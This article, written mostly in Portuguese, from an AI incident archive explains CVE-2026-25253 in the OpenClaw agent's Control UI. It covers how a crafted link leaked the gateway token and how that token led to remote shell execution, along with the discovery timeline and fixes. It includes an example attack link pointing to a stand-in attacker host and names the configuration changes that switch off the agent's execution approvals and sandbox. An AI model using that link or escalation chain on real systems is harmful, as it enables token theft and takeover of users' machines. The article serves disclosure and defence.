Uma ilustração editorial abstrata em azul-marinho escuro: uma janela de navegador à esquerda deixa um rastro de uma faixa de consulta brilhante que se curva por um vão escuro até um nó de token âmbar, e uma linha fina a partir do token continua até um endpoint separado à direita. O único texto é um pequeno rótulo com a leitura 'QUERY STRING > TOKEN > GATEWAY'. Sem pessoas, sem logotipos.
AI Safety Incidents

Sequestro de WebSocket na OpenClaw Control UI: um link para RCE

Autor

Gideon Frost

Data de publicação

Modelos mais recentes · 20Ver todos os modelos →
Benchmarks: Artificial Analysis · atualizado diariamente
Voltar para todas as publicações

Em 29 de janeiro de 2026, a empresa de segurança Ethiack publicou seu relato de uma falha no OpenClaw, o agente pessoal de IA de código aberto que roda na própria máquina do usuário e é controlado a partir de um painel no navegador chamado Control UI. Um link especialmente criado poderia fazer com que esse painel entregasse a um atacante o token de autenticação do gateway e, com ele, a capacidade de executar comandos de shell como o usuário conectado. O CVE-2026-25253 veio em 1º de fevereiro de 2026, e o próprio aviso do projeto no dia seguinte, ambos classificando a falha como 8,8, alta. Toda implantação em que alguém tivesse entrado no Control UI estava no escopo, incluindo instâncias acessíveis apenas via loopback. Nenhuma fonte consultada para este artigo registra o uso da falha contra um usuário real. O arquivo registra o episódio como um incidente de infraestrutura de alta severidade, com grau de confiança B e data de precisão diária de 29 de janeiro de 2026, ao lado de suas outras entradas de segurança de agentes no Orca AI Incident Archive.

O que a {{1}}Control UI{{/1}} fez com um URL

O OpenClaw é um agente auto-hospedado que seus usuários acessam por meio de aplicativos de mensagens e de um painel web, e que opera com o que o relatório da Ethiack chama de "acesso total ao sistema". O projeto já havia sido renomeado mais de uma vez, tendo recebido os nomes Clawdbot e Moltbot antes de OpenClaw, e o registro do npm lista o openclaw como um pacote criado em 29 de janeiro de 2026 às 11:08 UTC. O painel é a peça que importa aqui: ele mantinha o token do gateway no armazenamento do navegador, e é onde a falha residia.

The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."

Dois fatos sobre navegadores transformam esse vazamento em uma tomada de controle. Os navegadores não aplicam a política de mesma origem às conexões WebSocket da mesma forma que às requisições HTTP comuns, e o gateway não validava o cabeçalho Origin no upgrade, então o JavaScript em uma página que a vítima visitou podia abrir um socket diretamente para ws://localhost:18789 (depthfirst, 1 de fevereiro de 2026). Como é o próprio navegador da vítima que faz a conexão de saída, o ataque alcançava gateways vinculados ao loopback e invisíveis a partir da rede. "Esta vulnerabilidade é explorável até em instâncias configuradas para escutar somente no loopback, já que o navegador da vítima inicia a conexão de saída", diz o aviso do projeto. A Ethiack registrou mais uma condição na época: a versão estável do Chrome que ela testou não trazia a permissão de Acesso à Rede Local por padrão, então o navegador também não exibia nenhum prompt.

O que o token roubado permite obter é o resto da história. Ele carregava os escopos operator.admin e operator.approvals. Com eles, um atacante poderia desativar as aprovações de execução definindo exec.approvals.set como "off", mover o host de execução para fora do contêiner definindo tools.exec.host como "gateway", e então executar comandos de shell no host por meio de uma requisição node.invoke / system.run (depthfirst, 1 de fevereiro de 2026; The Hacker News, 2 de fevereiro de 2026). O aviso do fornecedor resume o resultado em uma frase: o atacante pode "modificar a configuração (sandbox, políticas de ferramentas) e invocar ações privilegiadas, alcançando RCE com 1 clique".

A four-step chain card headed 'From a query string to a shell': step one, a crafted link sets the gatewayUrl parameter; step two, the Control UI auto-connects on load and sends the stored token; step three, the attacker replays the token against the victim's gateway; step four, execution approvals are disabled, the execution host is switched to the gateway, and a shell command runs.

Encontrado em menos de duas horas, por uma máquina

A descoberta foi, ela própria, um exercício de IA. A Ethiack lançou o seu agente autónomo de testes de intrusão, o Hackian, contra uma instância ativa do OpenClaw em 26 de janeiro de 2026, às 13:21 UTC. Confirmou a falha às 15:05 UTC, cerca de uma hora e quarenta minutos depois, que é o valor destacado no relatório da Ethiack. A empresa comunicou-a aos responsáveis do OpenClaw às 18:02 UTC. Seguiu-se um pull request em 27 de janeiro e a correção chegou ao ramo principal na noite de 28 de janeiro, segundo a cronologia publicada pela Ethiack e o histórico de commits do projeto.

Uma segunda equipe chegou à mesma conclusão de forma independente. Mav Levin, pesquisador de segurança fundador da depthfirst, publicou sua própria análise em 1º de fevereiro de 2026, escrevendo que "A equipe do OpenClaw tratou e corrigiu rapidamente o problema que eu reportei" e que outra pessoa havia reportado o mesmo bug de forma independente. O advisory do GitHub credita DepthFirstDisclosures como o relator e lista tanto 0xacb e mavlevin entre os descobridores. A conta 0xacb tem o nome de perfil André Baptista, um dos três coautores do relato da Ethiack, o que se encaixa na linha do tempo: o pull request da Ethiack referente à correção foi aberto a partir dessa conta em 27 de janeiro, e o commit dos mantenedores agradece a ela nominalmente. Nenhuma fonte consultada para este artigo diz que os dois esforços tinham conhecimento um do outro antes da publicação, e nenhuma contesta o crédito.

A timeline card with seven dated rows: 26 January 2026 at 13:21 UTC an autonomous pentesting agent starts against a live OpenClaw instance; 15:05 UTC the flaw is confirmed; 18:02 UTC it is reported to the maintainers; 27 January at 17:12 UTC a pull request is opened; 28 January between 21:26 and 21:32 UTC the fix series lands on the main branch; 30 January npm publishes 2026.1.29 at 04:49 UTC and the GitHub release follows at 05:26 UTC; 1 February at 22:34 UTC the CVE record is published, with the project advisory on 2 February.

A data do registro, e as datas ao redor dela

O arquivo data esta entrada em 29 de janeiro de 2026 com precisão de dia, e isso coincide com o dia em que a pesquisa da Ethiack se tornou pública. A correção de código já havia sido integrada no dia anterior. A versão marcada que a incluía foi lançada nas primeiras horas de 30 de janeiro UTC, que é a noite de 29 de janeiro no horário do Pacífico dos Estados Unidos: o npm registra a versão 2026.1.29 às 04:49 UTC de 30 de janeiro, e o release do GitHub às 05:26 UTC. O registro CVE do MITRE tem data de 1º de fevereiro de 2026 às 22:34 UTC, o aviso do GitHub, de 2 de fevereiro às 23:41 UTC, e o The Hacker News noticiou a falha em 2 de fevereiro.

A fonte citada no registro, o rastreador de incidentes de agentes da Permission Protocol, mantém sua própria linha do tempo, e partes dela ficam atrasadas. Ele situa o lançamento da correção em 2026-01-29, consistente com o número da versão, mas data os "primeiros relatos" da vulnerabilidade em 2026-02-12 e a ampla divulgação pública da CVE-2026-25253 em 2026-02-26, com compilações independentes em 2026-03-24. Os documentos primários dizem o contrário. A data de 26 de fevereiro corresponde à análise de patch da SonicWall, publicada três semanas e meia depois de o identificador existir, e 12 de fevereiro fica entre os dois relatórios de pesquisa e a análise do fornecedor, em vez de antes deles. A última linha da linha do tempo do rastreador também chama o mecanismo de "zero-click"; o aviso do fornecedor chama-o de 1-click, e todos os relatos publicados descrevem uma vítima que precisa abrir um link. Onde essas datas e rótulos divergem, este artigo segue o registro da CVE, o aviso do fornecedor e os dois relatórios de pesquisa.

Vale registrar abertamente uma ressalva sobre essa fonte. A Permission Protocol vende um gate de autorização, e sua entrada enquadra o incidente em torno do que seu próprio produto teria bloqueado. A página classifica essa avaliação como condicional e afirma sobre si mesma que "a fonte não estabelece um resultado de prevenção do produto". O que o registro de fato traz com precisão é o seu enquadramento: a pesquisa era pública três dias antes de o CVE existir, e é por isso que o arquivo chama isto de descoberta precoce antes do CVE-2026-25253.

O que foi realmente prejudicado

Nada, pelo que qualquer fonte registra. O arquivo marca o registro real_harm como false, e isso é consistente com tudo o que foi publicado a respeito. O Centro de Cibersegurança da Bélgica emitiu um alerta em 2 de fevereiro de 2026 declarando que "Atualmente, não há evidências de que esta vulnerabilidade tenha sido explorada em ambiente real". Nem Ethiack, depthfirst, SonicWall nem The Hacker News relatam uma vítima, uma instalação comprometida ou dados obtidos, e nenhum deles informa um número de quantas instalações foram expostas. A Ethiack observa apenas que havia "inúmeras instâncias rodando em servidores públicos" com configuração fraca, o que é uma impressão, e não uma contagem.

O que existe é código de exploit funcional. A Ethiack publicou o código-fonte completo do exploit junto com seu write-up e demonstrou a cadeia contra sua própria instância. A análise da SonicWall de fevereiro mostra a captura de token "usando um exploit disponível publicamente". Um repositório de prova de conceito de terceiros surgiu no GitHub em 9 de março de 2026. Código de exploit público não é o mesmo que exploração, e o sinalizador de dano do arquivo diz respeito a esta última.

Uma fonte é menos rigorosa que as demais e vale a pena sinalizar. A seção de risco do aviso belga descreve o próprio bot renderizando conteúdo controlado pelo atacante como o gatilho, o que não é o mecanismo no aviso do fornecedor nem em nenhum dos dois relatórios de pesquisa: nos três, o navegador da vítima é atraído para um link e o agente é o alvo, não o veículo de entrega. Sua declaração de exploração é a parte citável; seu resumo do mecanismo não é.

O que mudou e o que a primeira correção deixou em aberto

A correção na versão 2026.1.29 adicionou uma caixa de diálogo de confirmação antes que a Control UI mude para uma URL de gateway diferente. O aviso do projeto descreve a mudança como "Com a mudança, os usuários agora precisam confirmar a nova URL do gateway na UI", e o arquivo que renderiza a caixa de diálogo está presente na tag v2026.1.29. Isso aumenta o custo do ataque de um clique para um clique mais uma confirmação deliberada. Isso não remove a confiança subjacente em um parâmetro de URL.

A validação de origem, a outra metade da cadeia, veio depois. A análise do patch da SonicWall registra que "atualizações posteriores implementaram controles rigorosos de validação de origem", listando quatro verificações: rejeitar um cabeçalho Origin ausente ou inválido; permitir um host de Origin que corresponda ao cabeçalho Host; permitir loopback para loopback; permitir origens nomeadas em uma lista allowedOrigins configurada; e rejeitar todo o resto. A sequência é visível no código-fonte do projeto na tag v2026.1.29, onde o manipulador de upgrade do WebSocket lê e registra o cabeçalho Origin sem aplicar uma política a ele.

Outras respostas foram detecção, não código. A SonicWall lançou a assinatura IPS 21908 para o que chama de exposição de dados sensíveis do OpenClaw. A depthfirst recomendou atualizar e rotacionar o token do gateway se houvesse suspeita de exposição, o que decorre diretamente do mecanismo: um token roubado permanece válido até que alguém o altere.

O que está estabelecido, e o que não está

Confirmado, com base em documentos primários: o caminho de código vulnerável lia gatewayUrl da query string e se conectava automaticamente sem validação; o frame de conexão carregava o token armazenado; o gateway não validava a origem WebSocket, então um navegador em qualquer site podia alcançar o loopback; o token carregava escopos de administrador e de aprovação; versões anteriores a 2026.1.29 foram afetadas; e duas equipes encontraram a falha independentemente, uma delas um agente autônomo atuando de fora.

Não estabelecido: se alguém explorou isso, quantas instalações estavam alcançáveis na época e se o diálogo de confirmação sozinho derrotaria um atacante determinado. A nota B do arquivo reflete uma base de citações de um único rastreador secundário, e não qualquer dúvida sobre os mecanismos, e o registro não está marcado como contestado. Esses mecanismos são corroborados pelo aviso do fornecedor, pelo registro CVE do MITRE e por dois relatórios de pesquisa independentes, o que é mais do que o próprio registro afirma por conta própria.

A two-column comparison card. The left column, headed 'Established by primary documents', lists: the gatewayUrl query parameter was trusted and auto-connected; the connect frame sent the stored token; WebSocket origin was not validated; the token held operator.admin and operator.approvals; versions before 2026.1.29 were affected; two teams found it independently. The right column, headed 'Not established', lists: any in-the-wild exploitation; a count of reachable installations; whether the confirmation dialog alone defeats the attack.

O resumo de uma linha do arquivo considera isto uma descoberta precoce anterior à CVE-2026-25253, e é assim que se deve ler o registo: o registo de uma falha encontrada, reportada e corrigida antes de ter um identificador, num produto concebido para executar comandos na máquina onde reside. A CVE que se seguiu descreve os mesmos três comportamentos — um parâmetro de consulta, uma ligação não solicitada e um token no handshake —, e nenhuma fonte consultada para este artigo coloca alguém do outro lado.